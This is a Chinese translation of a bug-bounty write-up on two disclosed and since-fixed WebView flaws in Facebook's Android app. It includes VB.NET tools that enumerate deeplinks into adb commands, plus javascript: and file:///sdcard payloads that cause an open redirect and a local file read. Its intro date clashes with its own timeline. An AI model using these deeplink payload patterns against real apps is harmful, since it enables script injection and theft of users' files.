挖洞經驗 | 看我如何發現Facebook安卓APP的$8500美金Webview漏洞
2018年6月,我在參與Facebook漏洞眾測專案期間,發現了Facebook安卓APP應用中的兩個Webview元件漏洞。利用這兩個漏洞,攻擊者可以構造惡意連結,通過Facebook安卓APP傳送給受害者,目標受害者點選這個連結之後就會中招,致使攻擊者可以在受害者手機中執行任意 Javascript 程式碼。
在測試結果確切之前,我曾在3個不同手機終端中試驗過這兩個漏洞,漏洞原因主要在於Webview元件中。在與Facebook安全團隊的來回協商之後,他們承認了這兩個漏洞的有效性並及時進行了修復,我最終也獲得了Facebook官方$8500美金的獎勵。
前期發現
漏洞眾測中的前期踩點非常關鍵,這有助於你瞭解目標的基本情況並能幫助你關注重點。在對Facebook安卓APP的前期踩點中,我把關注點聚集到了一個東西上面,那就是其APP中的deeplink,它也可以叫移動端深度連結或是應用跳轉。
deeplink可以算是超連結的另外一種型別吧,在APP中它可以把你關聯到一個特定的操作行為。就比如,fb://profile/1395634905,在安卓APP中點選這個連結,它會啟動Facebook的APP應用,並跳轉到你的個人資料頁。
因此,我決定先在APK檔案中來檢視一些可見的純文字檔案,於是,我用WinRAR來打開了Facebook的最新版本的安卓APP,然後在其中查詢字串 “fb://” ,一會,它就返回了一個結果檔案 ‘assets/Bundle-fb4.js.hbc’,檢查之後可以發現,該檔案中具備多個deeplink,其中包括:
fb://marketplace_product_details_from_for_sale_item_id fb://adsmanager
但是,分析一番,最後也沒什麼可用之處。
然而,在一個為 fb://ama/ 的deeplink線索之下,我在WinRAR開啟的APK檔案中,找到了一個檔案- ‘react_native_routes.json’,它可以算是一個“金礦”了,其中包含了Facebook APP操作處理的多個deeplink。
從上圖的檔案圖示中,我們可以分析構造出一個如下有效的Facebook deeplink:
fb://ama/?entryPoint={STRING}&fb_hidesTabBar={STRING}&presentationMethod={STRING}&targetURI={STRING}
‘react_native_routes.json’ 這個檔案有12000多行程式碼,所以,我需要一些程式設計技巧來提取出其中的有效deeplink連結。之後,我開發了兩個簡單的應用程式,一個用於將JSON格式轉換成資料庫結構,另一個用於從資料庫中建立連結。為了後續需要對資料進行處理,我儘量用資料庫的思路來執行。以下就是將JSON格式轉換成資料庫結構的程式程式碼:
#Moving JSON into a database structure Imports System.Data.SQLite Imports System.IO Imports Newtonsoft.Json.Linq Module Module1 Sub Main(args() As String) ProcessFile("react_native_routes.json") End Sub Public Sub ProcessFile(InputFile As String) Dim JSONText = File.ReadAllText(InputFile) If JSONText.StartsWith("[") Then 'Make valid JSON JSONText = "{'results' : " & JSONText & " }" End If Dim json As JObject = JObject.Parse(JSONText) Dim arr As JArray = json.SelectToken("results") For i = 0 To arr.Count - 1 Try Dim RouteName As String = arr(i).SelectToken("name") Dim RoutePath As String = arr(i).SelectToken("path") Dim paramJSON As JObject = arr(i).SelectToken("paramDefinitions") Dim RouteParamateCount As Integer = arr(i).SelectToken("paramDefinitions").Count If RouteParamateCount <> 0 Then Dim o As Integer = 0 Dim RouteID As Integer = insertRoute(RouteName, RoutePath, RouteParamateCount) For Each item As JProperty In arr(i).SelectToken("paramDefinitions") o += 1 Dim ParamName = item.Name Dim ParamType = item.Value("type").ToString Dim ParamRequired = item.Value("required").ToString insertParamater(ParamName, ParamType, ParamRequired, o, RouteID) Next End If Catch ex As Exception End Try Next End Sub Public Function insertRoute(RouteName As String, RoutePath As String, RouteParamaterCount As Integer) As Integer Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db") con.Open() Dim sql As String = "INSERT INTO RouteTable (RouteName, RoutePath, RouteParamaterCount, RouteAddedDateTime) VALUES (@RN, @RP, @RPC, @RAD)" Dim cmd As New SQLiteCommand(sql, con) cmd.Parameters.Add("RN", SqlDbType.VarChar).Value = RouteName cmd.Parameters.Add("RP", SqlDbType.VarChar).Value = RoutePath cmd.Parameters.Add("RPC", SqlDbType.Int).Value = RouteParamaterCount cmd.Parameters.Add("RAD", SqlDbType.Int).Value = Date.Now.Ticks cmd.ExecuteNonQuery() sql = "SELECT last_insert_rowid()" cmd = New SQLiteCommand(sql, con) insertRoute = cmd.ExecuteScalar() con.Close() End Function Public Sub insertParamater(ParamaterName As String, ParamaterType As String, ParamaterRequired As Boolean, ParamaterOrderIndex As Integer, RouteID As Integer) Dim PR As Integer = 0 If ParamaterRequired = True Then PR = 1 Else PR = 0 End If Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db") con.Open() Dim sql As String = "INSERT INTO ParamaterTable (ParamaterName, ParamaterType, ParamaterRequired, ParamaterOrderIndex, RoutesID) VALUES (@PN, @PT, @PR, @POI, @RID)" Dim cmd As New SQLiteCommand(sql, con) cmd.Parameters.Add("PN", SqlDbType.VarChar).Value = ParamaterName cmd.Parameters.Add("PT", SqlDbType.VarChar).Value = ParamaterType cmd.Parameters.Add("PR", SqlDbType.Int).Value = ParamaterRequired cmd.Parameters.Add("POI", SqlDbType.Int).Value = PR cmd.Parameters.Add("RID", SqlDbType.Int).Value = RouteID cmd.ExecuteNonQuery() con.Close() End Sub End Module
以上的VB.NET程式碼,可以把JSON格式檔案中的每條“路徑(path)”,解析為其包括名稱和引數數量的路徑表RouteTable中的對應條目。與實際引數類似,其中的引數可能是儲存在引數表ParamterTable中,其中的屬性包括引數型別、名稱、索引和是否為必填欄位,以及返回路徑(Route)中的連結等。
下面這個程式程式碼,用於處理SQLlite資料庫內容,並生成一個命令列列表,然後通過ADB工具在安卓APP中執行deeplink。
#Building ADB commands ready for breaking Imports System.Data.SQLite Imports System.IO Module Module1 Sub Main(args() As String) Dim FilePath As String = Date.Now.ToString("ddMMyyHHmm") & ".txt" Dim FBLink As String = "" Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db") con.Open() Dim sql As String = "SELECT RouteID, RouteName, RoutePath FROM RouteTable" Dim cmd As New SQLiteCommand(sql, con) Dim reader As SQLiteDataReader = cmd.ExecuteReader() If reader.HasRows Then Using sw As StreamWriter = New StreamWriter(FilePath) While reader.Read FBLink = BuildLink(reader("RouteID"), reader("RouteName"), reader("RoutePath")) FBLink = "adb shell am start -a ""android.intent.action.VIEW"" -d """ & FBLink & """" sw.WriteLine(FBLink) End While End Using End If reader.Close() con.Close() End Sub Public Function BuildLink(RouteID As Integer, RouteName As String, RoutePath As String) As String BuildLink = $"fb:/{RoutePath}/" Dim i As Integer = 0 Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db") con.Open() Dim sql As String = "SELECT ParamaterName, ParamaterType, ParamaterRequired FROM ParamaterTable WHERE RoutesID = @RID" Dim cmd As New SQLiteCommand(sql, con) cmd.Parameters.Add("RID", SqlDbType.Int).Value = RouteID Dim reader As SQLiteDataReader = cmd.ExecuteReader() If reader.HasRows Then While reader.Read() If i = 0 Then BuildLink &= "?" & reader("ParamaterName") & "=" & getValidValue(reader("ParamaterType")) Else BuildLink &= "\&" & reader("ParamaterName") & "=" & getValidValue(reader("ParamaterType")) End If i += 1 End While End If reader.Close() con.Close() End Function Public Function getValidValue(ParamaterType As String) As String Select Case ParamaterType Case "String" Return "{STRING}" Case "Int" Return "{INT}" Case "Boolean" Return "{BOOLEAN}" Case Else Return "{STRING}" End Select End Function End Module
就以上述發現的 ama deeplink為例,以下就是最終在終端應用中解析執行的樣子:
adb shell am start -a “android.intent.action.VIEW” -d “fb://ama/?entryPoint={STRING}\&fb_hidesTabBar={STRING}\&presentationMethod={STRING}\&targetURI={STRING}”
這樣,我就可以通過命令列來執行類似 fb:// url 這樣的deeplink了,對deeplink的檢查效率也就大大提高了!
發現漏洞
第一個 – 開放重定向漏洞
現在,我們預先構建了一個364條的命令列的列表,那麼,開始行動吧,來看看能從這些命令列中得到了什麼樣的響應。整個過程中有幾個deeplink比較有意思,但最終我把關注點放到了以下這三個上面:
adb shell am start -a “android.intent.action.VIEW” -d “fb://payments_add_paypal/?url={STRING}” adb shell am start -a “android.intent.action.VIEW” -d “fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl={STRING}” adb shell am start -a “android.intent.action.VIEW” -d “fb://ads_payments_prepay_webview/?account={STRING}\&contextID={STRING}\&paymentID={STRING}\&url={STRING}\&originRootTag={INTEGER}”
這三個deeplink都有一個共同點,那就是url引數,像上面其中的 url={STRING}。那好,既然你需要url,那我就給你一個唄,用 ofollow,noindex" target="_blank">https://google.com 試試,構造的Payload如下:
adb shell am start -a “android.intent.action.VIEW” -d “fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl= https://google.com “
結果返回如下:
哇,成功了!這就是一個開放重定向漏洞!你要知道,Facebook 一直都很重視SSRF和開放重定向這類漏洞。最終我上報之後,獲得了Facebook不多不少$500美金的獎勵。
第二個 – 使用者終端本地檔案讀取漏洞
有了第一個漏洞作鋪墊之後,我就往深處想,計劃發揮更深入的漏洞影響。我能不能用javscript URI 來試試呢?還有,能不能想辦法讀取本地檔案呢?於是,我又構造了以下兩個Payload:
adb shell am start -a “android.intent.action.VIEW” -d “fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=javascript:confirm(‘ https://facebook.com/Ashley.King.UK ‘)”
adb shell am start -a “android.intent.action.VIEW” -d “fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=file:///sdcard/CDAInfo.txt”
出乎意料,兩個Payload都能成功執行!一個能呼叫到我自己的Facebook主頁連結,一個能讀取到客戶端手機中的本地檔案!
其實,之後,我還想綜合利用這些漏洞,嘗試去發現更深層次的bug,但無奈最後無所發現。沒有原始碼,我這種黑盒測試的方法也只能到此為止了。那就向Facebook再上報一下這個漏洞吧,最終憑此漏洞,我又獲得Facebook官方$8000美金獎勵。
Facebook安全團隊的迴應
我們正在處理你的上報漏洞,你的上報漏洞在於,可以從任何網頁中呼叫這些服務端,但其影響有限。影響較為嚴重的要數那個在UI介面的本地檔案讀取漏洞,但前提也需要對使用者終端裝置的訪問許可權,也才能獲取讀取的資料資訊。
然而,我們在WebView的程式碼審查中發現了一些與你上報漏洞相關的問題,這些問題出在WebView實際的配置和執行中。攻擊者可以綜合利用這些問題bug,來呼叫Facebook應用的某些內部服務端,並獲取到一些敏感的HTML5 API介面資訊。
因為根據你的上報漏洞,我們在內部調查中也發現了幾個更深層的問題bug,所以,根據我們的賞金策略,我們按照最高的潛在安全風險來確定你的漏洞賞金,獎勵你的這些發現。
漏洞上報程序
2018.3.30 向Facebook上報漏洞 2018.4.4 Facebook有效響應 2018.4.13 Facebook修復漏洞 2018.5.16 Facebook發放賞金
*參考來源: ashking ,clouds編譯,轉載請註明來自FreeBuf.COM